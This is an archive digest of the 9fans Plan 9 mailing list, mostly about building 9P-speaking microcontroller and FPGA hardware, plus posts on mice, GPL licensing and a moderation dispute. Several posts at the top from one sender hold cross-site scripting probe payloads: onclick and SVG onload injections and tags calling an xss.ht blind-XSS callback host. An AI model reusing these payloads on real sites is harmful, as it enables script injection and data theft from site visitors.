[9fans] Re: '"onclick=(co\u006efirm)?.`0`>%22%3E%3CSvg/onload=c

[xomexe6295 via 9fans]

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T901568b689af01dd-M5567366d96f997a899f6d58f
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

[9fans] Re: '"onclick=(co\u006efirm)?.`0`>%22%3E%3CSvg/onload=c

[xomexe6295 via 9fans]

">
--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T901568b689af01dd-M45125b11030efad5e912f64a
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

[9fans] Re: '"onclick=(co\u006efirm)?.`0`>%22%3E%3CSvg/onload=c

[xomexe6295 via 9fans]

">
--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T901568b689af01dd-Mf71a49bc1adff7a7246cac79
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] building blocks speaking 9p

[Tony Mendoza]

This is awesome!  Thanks so much!  I wanted to do something like this
for some time.  Would love to do my embedded dev for this platform
using plan9.

T

On 1/28/2022 at 8:10 PM, "David Boddie"  wrote:On Saturday, 29 January
2022 02:04:18 CET Lyndon Nerenberg (VE7TFX/VE6BBM) 
wrote:
> da...@boddie.org.uk writes:
> > I am using 5a/tc/tl to build bare metal code for a STM32F405 MCU
thanks
> > to some hints from Charles Forsyth.
> 
> Could you post some notes on how you're doing that?  This is
something
> I'd like to take for a spin.

I quickly wrote up something that is hopefully useful:

https://dboddie.gitlab.io/inferno-diary/2022-01-29.html

I'll add more over the weekend.

David
--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/Ta4e584a373b05553-M64e8e7a00932b964f41ab962
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

[9fans] Re: '"onclick=(co\u006efirm)?.`0`>%22%3E%3CSvg/onload=c

[xomexe6295 via 9fans]

'">>">https://just25testing.xss.ht>@gmail.com'-->">https://just25testing.xss.ht>">'">https://bit.ly/3GQA1E0;>
--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T901568b689af01dd-Me4bf3a84ae32db8e5eb3fbed
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

[9fans] Re: '"onclick=(co\u006efirm)?.`0`>%22%3E%3CSvg/onload=c

[xomexe6295 via 9fans]

'>">https://just25testing.xss.ht>
--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T901568b689af01dd-Mddce668159f2b3cd0985581e
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

[9fans] Re: '"onclick=(co\u006efirm)?.`0`>%22%3E%3CSvg/onload=c

[xomexe6295 via 9fans]

'>">https://just25testing.xss.ht>
--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T901568b689af01dd-M41f2914c64a19a6c28cfed01
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

[9fans] '"onclick=(co\u006efirm)?.`0`>%22%3E%3CSvg/onload=confi

[xomexe6295 via 9fans]

'"onclick=(co\u006efirm)?.`0`>%22%3E%3CSvg/onload=confirm`3`//
--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T901568b689af01dd-M01e6b15782c60acf26dafb0c
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] building blocks speaking 9p

[Thaddeus Woskowiak]

The 9front /sys/src/9/zynq port is aiju board's kernel. That could be
ported to another zynq board like the little digilent cora z7 or arty z7.
Those are just examples, there are many other zynq 7000 boards.

Aiju also did a cyclone SoC port for 9front.

On Fri, Jan 28, 2022, 4:08 PM Eli Cohen  wrote:

> I started working on a project with an ESP32 board (with a toolchain for
> linux) to make a /net/etherESP32 for wifi with 9P right on the little
> board. I got as far as realizing how different 802.11 and 802.3 are...
>
> the unfinished code is at https://github.com/echoline/etherESP32
>
> it would be cool to see an aijuboard with accelerated hardware devdraw on
> the fpga if that's even possible, or other hardware like that
>
> On Fri, Jan 28, 2022, 1:01 PM Tony Mendoza  wrote:
>
>> Sorry wrong libstyx repo
>>
>> https://github.com/inferno-os/inferno-os/tree/master/tools/libstyx
>>
>> T
>>
>> On 1/28/2022 at 2:54 PM, "Tony Mendoza"  wrote:
>>
>> A few years back I started trying to build something similar off of the
>> STM32F4 line of ARM MCUs.
>>
>> https://www.st.com/en/microcontrollers-microprocessors/stm32f4-series.html
>>
>> Supports ethernet, spi, usb otg, etc.  Thought about porting the libstyx
>> library from Inferno over to
>> the STM32 platform.
>>
>> https://github.com/inferno-os/inferno-os/tree/master/tools/styxtest
>>
>> Thin OS layer was provided by FreeRTOS.  STM32F4 specific HW was accessed
>> using libopencm3
>>
>> https://libopencm3.org/
>>
>> If interested...
>>
>> https://github.com/tmendoza/stm32f4-template
>>
>> Tony
>>
>> On 1/28/2022 at 4:18 AM, "Lucio De Re"  wrote:
>>
>> On 1/28/22, Bakul Shah  wrote:
>> >
>> > Think of really simple, low power, low cost devices.
>> > USB can also provide power. USB+ATtiny85 devel boards
>> > cost ~$3 even at Amazon. And FPGA boards can be
>> > pretty inexpensive too. If you can find them.
>> >
>> I've recommended olimex.com in the past. They specialise in Open
>> Architecture Hardware. Their prices are very reasonable and product
>> range quite broad.
>> 
>> Lucio.
>> 
>> *9fans * / 9fans / see discussions
>  + participants
>  + delivery options
>  Permalink
> 
>

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/Ta4e584a373b05553-M4707ffb9fa69457c676440cc
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] building blocks speaking 9p

[David Boddie]

On Saturday, 29 January 2022 02:04:18 CET Lyndon Nerenberg (VE7TFX/VE6BBM) 
wrote:
> da...@boddie.org.uk writes:
> > I am using 5a/tc/tl to build bare metal code for a STM32F405 MCU thanks
> > to some hints from Charles Forsyth.
> 
> Could you post some notes on how you're doing that?  This is something
> I'd like to take for a spin.

I quickly wrote up something that is hopefully useful:

https://dboddie.gitlab.io/inferno-diary/2022-01-29.html

I'll add more over the weekend.

David



--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/Ta4e584a373b05553-M0c6e3d7df35921958d72097a
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] acme and sam - mouse suggestions?

[adr]

fijal wrote:

I'm very happy with this one:  http://www.hao1885.com/products_desc.asp?id=413


That's the same I was talking about. Don't you feel annoyed when
you have to wake it? Do you know where to buy the wired model?

hao1885.com/products_desc.asp?id=414

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T49f3cceea70d2b61-M301ed10a9c39815211dacdb6
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] building blocks speaking 9p

[Lyndon Nerenberg (VE7TFX/VE6BBM)]

da...@boddie.org.uk writes:

> I am using 5a/tc/tl to build bare metal code for a STM32F405 MCU thanks
> to some hints from Charles Forsyth.

Could you post some notes on how you're doing that?  This is something
I'd like to take for a spin.

--lyndon

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/Ta4e584a373b05553-Mec6e5bd345ad735a072a6cc7
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] building blocks speaking 9p

[David Boddie]

I'll try and write something useful about it this weekend, and I'll push
a branch up to BitBucket/GitLab:

  https://bitbucket.org/dboddie/inferno-os/branches/
  https://gitlab.com/dboddie/inferno-os/-/branches

However, it basically boils down to this:

 * Build Inferno's tc and tl since they are not included in the default
   build.
 * Fix the tl mkfile so that it calls the executable tl not 5l.
 * Write a mkfile with all the rules for 5a, tc and tl, setting the text
   address to 0x0800 (flash) and data to 0x2000 (RAM).
 * Write a loader file to set up the stack and static base registers, copy
   data into RAM, and jump into main.

I have some functions for setting up clocks, GPIOs and the USART. This is
currently in a separate repository for bare metal tests. I'll push that up
to GitLab.

David

On Friday, 28 January 2022 22:46:28 CET Tony Mendoza wrote:
> Any interest in sharing those hints for building bare metal STM32F405
> code om plan9?
> T
> On 1/28/2022 at 3:34 PM, da...@boddie.org.uk wrote:On 2022-01-28
> 
> 2:55:00, Thaddeus Woskowiak wrote:
> > One compiler that we really need is an arm thumb 2 compiler for
> 
> cortex-m/r
> 
> > microcontrollers. Inferno has a very old and very incomplete arm
> 
> thumb 1
> 
> > compiler, tc. I don't know if it's worth salvaging.
> 
> I am using 5a/tc/tl to build bare metal code for a STM32F405 MCU
> thanks
> to some hints from Charles Forsyth.
> 
> I'm currently trying to add FP support and learn about compiler
> internals.
> It also means learning about Thumb-2, which is quite alien for an
> old-school
> ARM coder.
> 
> David
>  9fans   / 9fans / see discussions   + participants   + delivery
> options Permalink
> --
> 9fans: 9fans
> Permalink:
> https://9fans.topicbox.com/groups/9fans/Ta4e584a373b05553-M520003e6d6ac2b54
> e8e509e4 Delivery options:
> https://9fans.topicbox.com/groups/9fans/subscription





--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/Ta4e584a373b05553-Me02d5cb4e136e32f9d0015d0
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] licence question

[hiro]

why should it be closed source?
you're gonna seriously put the effort to remove all the traces of source files?
why not just keep the source so people can learn about the software
that they are using?!
students are supposed to learn, no?


On 1/28/22, ibrahim via 9fans <9fans@9fans.net> wrote:
> On Friday, 28 January 2022, at 4:23 AM, Kurt H Maier wrote:
>> None of these prohibit redistribution.  Feel free to delete them from
> your copy.
> 
> I'm intending to distribute a closed source binary release as a kiosk
> application which will be used as a graphical terminal for students. So
> anything containing GPL code can't be part of the base installment. Users
> can decide to download and install binaries on their computer but the moment
> I distribute a GPL application as an integral part of my system where some
> of the binaries depend on their existence without alternatives my code and
> binaries get infected by GPL.
> 
> I already deleted ghostscript and all fonts from 9front to avoid legal
> problems. Xen, mp3dec, lzip weren't used by my app the only surprises were
> diff and patch which I can substitute by not GPL'ed versions.
> 
> You are right if I would distribute my kiosk software in binary and source
> form like all plan9 distributions do. Then I would have fulfilled the
> necessities of GPL regarding redistribution. But the problem of "work based
> upon", "word depends on" would perhaps remain for some of the tools used by
> plan9. In common you are right but not when someone makes a binary
> distribution ...
> 
> Thanks

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T3e07bfdf263a83c8-Me0f75371623232060900de30
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] building blocks speaking 9p

[Tony Mendoza]

Any interest in sharing those hints for building bare metal STM32F405
code om plan9?
T
On 1/28/2022 at 3:34 PM, da...@boddie.org.uk wrote:On 2022-01-28
2:55:00, Thaddeus Woskowiak wrote:

> One compiler that we really need is an arm thumb 2 compiler for
cortex-m/r
> microcontrollers. Inferno has a very old and very incomplete arm
thumb 1
> compiler, tc. I don't know if it's worth salvaging.

I am using 5a/tc/tl to build bare metal code for a STM32F405 MCU
thanks
to some hints from Charles Forsyth.

I'm currently trying to add FP support and learn about compiler
internals.
It also means learning about Thumb-2, which is quite alien for an
old-school
ARM coder.

David
 9fans   / 9fans / see discussions   + participants   + delivery
options Permalink  
--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/Ta4e584a373b05553-M520003e6d6ac2b54e8e509e4
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] Sponsoring a new Intro book by the Flan 9 Poundation:

[hiro]

> Imagine I post that you are a fascist and that because of that we
> need another git client. I'm sure the same people that have been
> trolling in this thread would be defending you.

No need to imagine, as this has already happened.
No big deal, as the mob (on twitter/hitlernews/etc.) calmed down again
soon after.
4chan is probably real mad  and avoids 9front which now must seem like
a one in a kind jewish conspiracist operating system. I think it's
funny after all, and the statements made, the resolution, offended
just the right people.

> The only explanation I see here is a tribal one.

explanation for what?

> I don't like that.

Of course, tribal behaviors should be below us all. We're gonna harm
only your soul, not your body.

> I'll keep myself out of it, I've only made a fool of myself.

no need for such compensation, all people who responded to this thread
share the same kind of blame, if there has to be any at all.

> PS. If you want to stop a discussion, don't put more fire on it.
> You are not the moderator, people don't like being told to shut up
> by another member. Russ said us to shut up and look at us...

I think Russ plainly followed his responsibility as a human to remind
us there are basic rules of respect. Should this urge anyway weigh
more than an admin's word? Hell yeah.

So be better next time everybody. Be excellent, or however they call it.

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T47361f1c7a89aa15-M0dc9a91b8f17ed263e59ef85
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] building blocks speaking 9p

[Eli Cohen]

I also started a paper about the very small 9P library I used on MCUs, I
was hoping to present this at IWP9 before we all ended up in the pandemic
Biff timeline https://echoline.org/NinePea.pdf

this paper is still not that polished yet

On Fri, Jan 28, 2022, 1:28 PM Bakul Shah  wrote:

> Thanks! Quite an interesting paper. I vaguely recall reading
> this a long time ago.
>
> I think the key will be to figure out how to make this a very
> easy to use component. It is not rocket science but will
> probably require a few iterations to smooth out any rough
> edges and to see what evolves.
>
> Good to see there is interest in the community!
>
> On Jan 28, 2022, at 11:01 AM, Charles Forsyth 
> wrote:
>
> https://www.cs.york.ac.uk/rts/static/papers/R:N.C.:Audsley:2006.pdf might
> be of interest.
>
> They turned up at an embedded systems show at Birmingham NEC about that
> time.
> I was attending independently, but it was interesting to see,.
> Wandering about some boring other stands, I found one that was showing off
> a small embedded device running a remarkable system.
> There was source code on the screen.
> "Hmm", I asked, "what's the language it's running?"
> Lars Bok [for it was he], proudly, "It is SmallTalk!" in 64k [I think] on
> a micro with a real-time garbage collector and in-service code updating on
> the fly.
> Just fantastic. We bemoaned the boring nature of most of the stands. I
> mentioned Styx-on-a-Chip and he wandered off to have a look, returning to
> say it was also interesting.
> I forget the name of the system, but eventually the company was sold on or
> got different investors in, who turned it into a Java thing. As usual.
>
> On Fri, 28 Jan 2022 at 10:18, Lucio De Re  wrote:
>
>> On 1/28/22, Bakul Shah  wrote:
>> >
>> > Think of really simple, low power, low cost devices.
>> > USB can also provide power. USB+ATtiny85 devel boards
>> > cost ~$3 even at Amazon. And FPGA boards can be
>> > pretty inexpensive too. If you can find them.
>> >
>> I've recommended olimex.com in the past. They specialise in Open
>> Architecture Hardware. Their prices are very reasonable and product
>> range quite broad.
>> 
>> Lucio.
>
> *9fans * / 9fans / see discussions
>  + participants
>  + delivery options
>  Permalink
> 
>

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/Ta4e584a373b05553-M90622b7b8d0862975bcbb175
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] building blocks speaking 9p

[david]

On 2022-01-28 2:55:00, Thaddeus Woskowiak wrote:

> One compiler that we really need is an arm thumb 2 compiler for cortex-m/r
> microcontrollers. Inferno has a very old and very incomplete arm thumb 1
> compiler, tc. I don't know if it's worth salvaging.

I am using 5a/tc/tl to build bare metal code for a STM32F405 MCU thanks
to some hints from Charles Forsyth.

I'm currently trying to add FP support and learn about compiler internals.
It also means learning about Thumb-2, which is quite alien for an old-school
ARM coder.

David
--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/Ta4e584a373b05553-Mf2179e1b0562dfb5ee43b267
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

[9fans] Corrupt subjects

[adr]

I noticed that some mails were sent by me with corrupt subjects. I'm
using alpine again and it's very easy to do that after editing with
vi (I'm using the sdf shell directly).

Sorry about that, it looks like I was tring to separate the thread,
I wasn't.

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T2ad9964970e367f9-Mbb2a4fa87b8a6cebcc8dbb56
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] building blocks speaking 9p

[Eli Cohen]

hmmm. but for all of the devdraw fs and image backing, etc? can it access
RAM?

On Fri, Jan 28, 2022, 1:18 PM Tony Mendoza  wrote:

> Eli said - "...accelerated hardware devdraw on the fpga if that's even
> possible"
>
> It's possible.
>
> https://projectf.io/posts/fpga-graphics/
>
> T
>
> On 1/28/2022 at 3:08 PM, "Eli Cohen"  wrote:
>
> I started working on a project with an ESP32 board (with a toolchain for
> linux) to make a /net/etherESP32 for wifi with 9P right on the little
> board. I got as far as realizing how different 802.11 and 802.3 are...
>
> the unfinished code is at https://github.com/echoline/etherESP32
>
> it would be cool to see an aijuboard with accelerated hardware devdraw on
> the fpga if that's even possible, or other hardware like that
>
> On Fri, Jan 28, 2022, 1:01 PM Tony Mendoza  wrote:
>
>> Sorry wrong libstyx repo
>>
>> https://github.com/inferno-os/inferno-os/tree/master/tools/libstyx
>>
>> T
>>
>> On 1/28/2022 at 2:54 PM, "Tony Mendoza"  wrote:
>>
>> A few years back I started trying to build something similar off of the
>> STM32F4 line of ARM MCUs.
>>
>> https://www.st.com/en/microcontrollers-microprocessors/stm32f4-series.html
>>
>> Supports ethernet, spi, usb otg, etc.  Thought about porting the libstyx
>> library from Inferno over to
>> the STM32 platform.
>>
>> https://github.com/inferno-os/inferno-os/tree/master/tools/styxtest
>>
>> Thin OS layer was provided by FreeRTOS.  STM32F4 specific HW was accessed
>> using libopencm3
>>
>> https://libopencm3.org/
>>
>> If interested...
>>
>> https://github.com/tmendoza/stm32f4-template
>>
>> Tony
>>
>> On 1/28/2022 at 4:18 AM, "Lucio De Re"  wrote:
>>
>> On 1/28/22, Bakul Shah  wrote:
>> >
>> > Think of really simple, low power, low cost devices.
>> > USB can also provide power. USB+ATtiny85 devel boards
>> > cost ~$3 even at Amazon. And FPGA boards can be
>> > pretty inexpensive too. If you can find them.
>> >
>> I've recommended olimex.com in the past. They specialise in Open
>> Architecture Hardware. Their prices are very reasonable and product
>> range quite broad.
>> 
>> Lucio.
>> 
>> *9fans * / 9fans / see discussions
>  + participants
>  + delivery options
>  Permalink
> 
>

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/Ta4e584a373b05553-M7c105b558e297b07d1ace778
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] building blocks speaking 9p

[Bakul Shah]

Thanks! Quite an interesting paper. I vaguely recall reading
this a long time ago. 

I think the key will be to figure out how to make this a very
easy to use component. It is not rocket science but will
probably require a few iterations to smooth out any rough
edges and to see what evolves.

Good to see there is interest in the community!

> On Jan 28, 2022, at 11:01 AM, Charles Forsyth  
> wrote:
> 
> https://www.cs.york.ac.uk/rts/static/papers/R:N.C.:Audsley:2006.pdf 
>  might 
> be of interest.
> 
> They turned up at an embedded systems show at Birmingham NEC about that time.
> I was attending independently, but it was interesting to see,.
> Wandering about some boring other stands, I found one that was showing off a 
> small embedded device running a remarkable system.
> There was source code on the screen.
> "Hmm", I asked, "what's the language it's running?"
> Lars Bok [for it was he], proudly, "It is SmallTalk!" in 64k [I think] on a 
> micro with a real-time garbage collector and in-service code updating on the 
> fly.
> Just fantastic. We bemoaned the boring nature of most of the stands. I 
> mentioned Styx-on-a-Chip and he wandered off to have a look, returning to say 
> it was also interesting.
> I forget the name of the system, but eventually the company was sold on or 
> got different investors in, who turned it into a Java thing. As usual.
> 
> On Fri, 28 Jan 2022 at 10:18, Lucio De Re  > wrote:
> On 1/28/22, Bakul Shah mailto:ba...@iitbombay.org>> 
> wrote:
> >
> > Think of really simple, low power, low cost devices.
> > USB can also provide power. USB+ATtiny85 devel boards
> > cost ~$3 even at Amazon. And FPGA boards can be
> > pretty inexpensive too. If you can find them.
> >
> I've recommended olimex.com  in the past. They specialise 
> in Open
> Architecture Hardware. Their prices are very reasonable and product
> range quite broad.
> 
> Lucio.
> 
> --
> 9fans: 9fans
> Permalink: 
> https://9fans.topicbox.com/groups/9fans/Ta4e584a373b05553-M84956412e025f516e7cd
>  
> 
> Delivery options: https://9fans.topicbox.com/groups/9fans/subscription 
> 
> 9fans  / 9fans / see discussions 
>  + participants 
>  + delivery options 
> Permalink 
> 

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/Ta4e584a373b05553-M3c9ced3c7ccb25fd4918537c
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] Sponsoring a new Intro book by the Flan 9 Poundation:

[adr]

ori wrote:

All too often, the only post with technical content
is the first post in a thread.  The technical content
is drowned in the bullshit.

As a result, help is given off-list if it's given at
all.  It protects the questioner from the deluge of
noise, but hides any debugging steps from anyone who
could learn from them.


This is just surreal.

The _questioner_ used the list to denounce politically another
member (well, I don't think nemo is here anymore), but instead of
a warning by the administrator it gets a pat on the back by other
members. Ah! and the bullshit is in the ones who got outraged.

Imagine I post that you are a fascist and that because of that we
need another git client. I'm sure the same people that have been
trolling in this thread would be defending you.

The only explanation I see here is a tribal one.

I don't like that.

I'll keep myself out of it, I've only made a fool of myself.

PS. If you want to stop a discussion, don't put more fire on it.
You are not the moderator, people don't like being told to shut up
by another member. Russ said us to shut up and look at us...

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T47361f1c7a89aa15-Md6c5c6fd71e0a10711815b0d
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] building blocks speaking 9p

[Tony Mendoza]

Eli said - "...accelerated hardware devdraw on the fpga if that's even
possible"
It's possible.
https://projectf.io/posts/fpga-graphics/
T

On 1/28/2022 at 3:08 PM, "Eli Cohen"  wrote:I started working on a
project with an ESP32 board (with a toolchain for linux) to make a
/net/etherESP32 for wifi with 9P right on the little board. I got as
far as realizing how different 802.11 and 802.3 are...
the unfinished code is at https://github.com/echoline/etherESP32
it would be cool to see an aijuboard with accelerated hardware devdraw
on the fpga if that's even possible, or other hardware like that
On Fri, Jan 28, 2022, 1:01 PM Tony Mendoza  wrote:
Sorry wrong libstyx repo
https://github.com/inferno-os/inferno-os/tree/master/tools/libstyx
T

On 1/28/2022 at 2:54 PM, "Tony Mendoza"  wrote:A few years back I
started trying to build something similar off of the STM32F4 line of
ARM MCUs.
https://www.st.com/en/microcontrollers-microprocessors/stm32f4-series.html
Supports ethernet, spi, usb otg, etc.  Thought about porting the
libstyx library from Inferno over to 
the STM32 platform. 

https://github.com/inferno-os/inferno-os/tree/master/tools/styxtest

Thin OS layer was provided by FreeRTOS.  STM32F4 specific HW was
accessed using libopencm3
https://libopencm3.org/

If interested...
https://github.com/tmendoza/stm32f4-template
Tony

On 1/28/2022 at 4:18 AM, "Lucio De Re"  wrote:On 1/28/22, Bakul Shah 
wrote:
>
> Think of really simple, low power, low cost devices.
> USB can also provide power. USB+ATtiny85 devel boards
> cost ~$3 even at Amazon. And FPGA boards can be
> pretty inexpensive too. If you can find them.
>
I've recommended olimex.com in the past. They specialise in Open
Architecture Hardware. Their prices are very reasonable and product
range quite broad.

Lucio.
9fans   / 9fans / see discussions   + participants   + delivery
options Permalink  
--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/Ta4e584a373b05553-Mb0d91d78bd0ccb6b864611c7
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] building blocks speaking 9p

[Tony Mendoza]

Well that was rude of me ;-)  

Should be public now.
Thanks for the heads up!
T

On 1/28/2022 at 3:05 PM, o...@eigenstate.org wrote:Quoth Tony Mendoza :
> Sorry wrong libstyx repo

also, this repo is private:
> If interested...
> https://github.com/tmendoza/stm32f4-template
> Tony

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/Ta4e584a373b05553-M2dd37ff2d72250c1301ba95f
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] building blocks speaking 9p

[Eli Cohen]

I started working on a project with an ESP32 board (with a toolchain for
linux) to make a /net/etherESP32 for wifi with 9P right on the little
board. I got as far as realizing how different 802.11 and 802.3 are...

the unfinished code is at https://github.com/echoline/etherESP32

it would be cool to see an aijuboard with accelerated hardware devdraw on
the fpga if that's even possible, or other hardware like that

On Fri, Jan 28, 2022, 1:01 PM Tony Mendoza  wrote:

> Sorry wrong libstyx repo
>
> https://github.com/inferno-os/inferno-os/tree/master/tools/libstyx
>
> T
>
> On 1/28/2022 at 2:54 PM, "Tony Mendoza"  wrote:
>
> A few years back I started trying to build something similar off of the
> STM32F4 line of ARM MCUs.
>
> https://www.st.com/en/microcontrollers-microprocessors/stm32f4-series.html
>
> Supports ethernet, spi, usb otg, etc.  Thought about porting the libstyx
> library from Inferno over to
> the STM32 platform.
>
> https://github.com/inferno-os/inferno-os/tree/master/tools/styxtest
>
> Thin OS layer was provided by FreeRTOS.  STM32F4 specific HW was accessed
> using libopencm3
>
> https://libopencm3.org/
>
> If interested...
>
> https://github.com/tmendoza/stm32f4-template
>
> Tony
>
> On 1/28/2022 at 4:18 AM, "Lucio De Re"  wrote:
>
> On 1/28/22, Bakul Shah  wrote:
> >
> > Think of really simple, low power, low cost devices.
> > USB can also provide power. USB+ATtiny85 devel boards
> > cost ~$3 even at Amazon. And FPGA boards can be
> > pretty inexpensive too. If you can find them.
> >
> I've recommended olimex.com in the past. They specialise in Open
> Architecture Hardware. Their prices are very reasonable and product
> range quite broad.
> 
> Lucio.
> 
> *9fans * / 9fans / see discussions
>  + participants
>  + delivery options
>  Permalink
> 

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/Ta4e584a373b05553-Me6241517a2c3673d4467fc7a
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] building blocks speaking 9p

[ori]

Quoth Tony Mendoza :
> Sorry wrong libstyx repo

also, this repo is private:
 
> If interested...
> https://github.com/tmendoza/stm32f4-template
> Tony

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/Ta4e584a373b05553-M29773dab50c15f7f2333e215
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] building blocks speaking 9p

[Tony Mendoza]

Sorry wrong libstyx repo
https://github.com/inferno-os/inferno-os/tree/master/tools/libstyx
T

On 1/28/2022 at 2:54 PM, "Tony Mendoza"  wrote:A few years back I
started trying to build something similar off of the STM32F4 line of
ARM MCUs.
https://www.st.com/en/microcontrollers-microprocessors/stm32f4-series.html
Supports ethernet, spi, usb otg, etc.  Thought about porting the
libstyx library from Inferno over to 
the STM32 platform. 

https://github.com/inferno-os/inferno-os/tree/master/tools/styxtest

Thin OS layer was provided by FreeRTOS.  STM32F4 specific HW was
accessed using libopencm3
https://libopencm3.org/ 

If interested...
https://github.com/tmendoza/stm32f4-template
Tony

On 1/28/2022 at 4:18 AM, "Lucio De Re"  wrote:On 1/28/22, Bakul Shah 
wrote:
>
> Think of really simple, low power, low cost devices.
> USB can also provide power. USB+ATtiny85 devel boards
> cost ~$3 even at Amazon. And FPGA boards can be
> pretty inexpensive too. If you can find them.
>
I've recommended olimex.com in the past. They specialise in Open
Architecture Hardware. Their prices are very reasonable and product
range quite broad.

Lucio.

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/Ta4e584a373b05553-M9b55bdb38551719bdce93c4f
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] building blocks speaking 9p

[Lyndon Nerenberg (VE7TFX/VE6BBM)]

Bakul Shah writes:

> - make it very easy to create hardware gadgets by
>   providing a firmware/hardware building block that
>   talks 9p on the host interface side & interfaces
>   with device specific hardware.

Amen!  I've been thinking about something like this for years.
My specific use case involves controlling radio transceivers.
Right now I do this with assorted Arduino hardware that speaks
GPIO and RS232 (mostly) to the radios, and RS232 to the upstream
"controller" host.  This burns through a lot of serial ports on
the controller.

What I would prefer is to have all those Arduinos connected
to an RS485 multidrop, each exporting a 9p filesystem for the
control interface.  Shoveling the data around on the RS485
"bus" just needs a simple frame wrapped around the 9p packets
that provides device addressing and a CRC.  On the Plan9 side
this just becomes another network type, with ndb handling
the device addressing.

As others have mentioned, having a native Atmel C compiler would
be a real boon here, but there's no reason why this couldn't be
done with an Arduino 9P library.  I haven't investigated if such
a thing exists, although I'm sure it does.

--lyndon

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/Ta4e584a373b05553-M7e3fd4de0f3c256df6dbd436
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] building blocks speaking 9p

[Tony Mendoza]

A few years back I started trying to build something similar off of
the STM32F4 line of ARM MCUs.
https://www.st.com/en/microcontrollers-microprocessors/stm32f4-series.html
Supports ethernet, spi, usb otg, etc.  Thought about porting the
libstyx library from Inferno over to 
the STM32 platform. 

https://github.com/inferno-os/inferno-os/tree/master/tools/styxtest

Thin OS layer was provided by FreeRTOS.  STM32F4 specific HW was
accessed using libopencm3
https://libopencm3.org/ 

If interested...
https://github.com/tmendoza/stm32f4-template
Tony

On 1/28/2022 at 4:18 AM, "Lucio De Re"  wrote:On 1/28/22, Bakul Shah 
wrote:
>
> Think of really simple, low power, low cost devices.
> USB can also provide power. USB+ATtiny85 devel boards
> cost ~$3 even at Amazon. And FPGA boards can be
> pretty inexpensive too. If you can find them.
>
I've recommended olimex.com in the past. They specialise in Open
Architecture Hardware. Their prices are very reasonable and product
range quite broad.

Lucio.

--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/Ta4e584a373b05553-M125c9309ccdbe0d7fa4f7bd6
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] acme and sam - mouse suggestions?

[Tony Mendoza]

+1 for the Evoluent Vert mouse.  I got two.
T

On 1/27/2022 at 10:57 PM, o...@eigenstate.org wrote:Quoth Kurt H Maier
via 9fans :
> 
> The Evoluent VerticalMouse series has three mechanical buttons plus
a
> scroll wheel between buttons 1 and 2.

This one is my personal favorite.
--
9fans: 9fans
Permalink: 
https://9fans.topicbox.com/groups/9fans/T49f3cceea70d2b61-Mf4f1db604b9c92f3b1dae448
Delivery options: https://9fans.topicbox.com/groups/9fans/subscription

Re: [9fans] building blocks speaking 9p

[Kent R. Spillner]

> What does it do that PoE doesn't do infinitely better?

